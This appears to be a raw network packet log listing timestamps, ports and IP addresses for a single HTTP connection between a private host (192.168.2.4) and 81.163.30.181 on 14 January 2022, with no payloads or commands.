Jan 14, 2022 20:29:57.393707991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393747091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393785000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393804073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393824100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393834114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393897057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393939018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393939972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393976927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394018888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394020081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394058943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394098043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394119024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394139051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394176006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394181967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394215107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394254923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394258022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394292116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394330978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394335032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394370079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394409895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394411087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394459009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394498110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394500971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.394539118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.394586086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.405838013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.405922890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.406007051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.452686071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452744007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452785969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452825069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452862978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452864885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.452893972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.452903032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452941895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.452946901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.452981949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453026056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453030109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453064919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453105927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453107119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453145027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453185081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453191042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453223944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453262091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453265905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453300953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453340054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453341961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453377008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453417063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453419924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453455925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453495026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453505993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453536034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453576088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453577995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453613997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453654051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453655958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453691959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453731060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453732967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453771114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453809023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453810930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453871012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453923941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.453942060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.453979969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454021931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454051018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454063892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454102993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454109907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454143047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454184055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454185009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454221964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454262018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454262972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454301119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454339981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454340935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454380035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454420090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454442024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454482079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454520941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454524040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454557896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454596996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454598904 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454634905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454674006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454677105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454715014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454751968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454758883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454792023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454830885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454834938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454869032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454907894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454909086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.454946995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454986095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.454991102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.455028057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455065012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455069065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.455102921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455142021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455146074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.455178976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455219030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455224037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.455256939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.455300093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.463884115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.463944912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.464004040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513173103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513226032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513267040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513304949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513313055 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513345003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513360023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513386011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513423920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513433933 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513463974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513504028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513508081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513540983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513581038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513585091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513622999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513664007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513664961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513705015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513744116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513748884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513782978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513823986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513828039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513895035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513935089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.513940096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.513974905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514015913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514039993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514055967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514096022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514096022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514134884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514174938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514175892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514214039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514251947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514257908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514291048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514329910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514332056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514369011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514409065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514410973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514446020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514488935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514499903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514528990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514583111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514605999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514622927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514662027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514666080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514699936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514739037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514744043 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514777899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514817953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514820099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514858961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514899015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514903069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.514938116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514978886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.514982939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515017986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515060902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515064955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515100956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515141010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515144110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515196085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515234947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515245914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515274048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515312910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515324116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515350103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515501022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515523911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515544891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515582085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515594006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515625954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515666008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515667915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515702963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515743971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515744925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515783072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515821934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515826941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515862942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515901089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515912056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.515940905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.515980959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.521817923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.521897078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.522059917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.556410074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574225903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574284077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574326992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574366093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574385881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574405909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574443102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574446917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574485064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574490070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574525118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574564934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574565887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574603081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574642897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574645996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574681997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574722052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574723005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574763060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574800014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574805021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574840069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574879885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574883938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574917078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574956894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.574959040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.574996948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575037956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575041056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575082064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575120926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575136900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575184107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575223923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575226068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575263977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575303078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575305939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575340986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575382948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575387955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575423002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575462103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575464010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575500965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575541973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575542927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575579882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575618982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575623989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575659990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575699091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575700998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575741053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575778961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575783014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575819016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575859070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575864077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575896978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575937033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.575937986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.575975895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576018095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576018095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576061964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576100111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576105118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576138973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576178074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576179981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576215982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576256990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576256990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576294899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576335907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576338053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576375961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576414108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576416969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576452971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576498985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576502085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576536894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576576948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576592922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576616049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576657057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576658964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576699018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576736927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576741934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576776028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576817036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576819897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576853991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576894045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576894045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.576932907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.576973915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.580178976 CET	80	49882	81.163.30.181	192.168.2.4
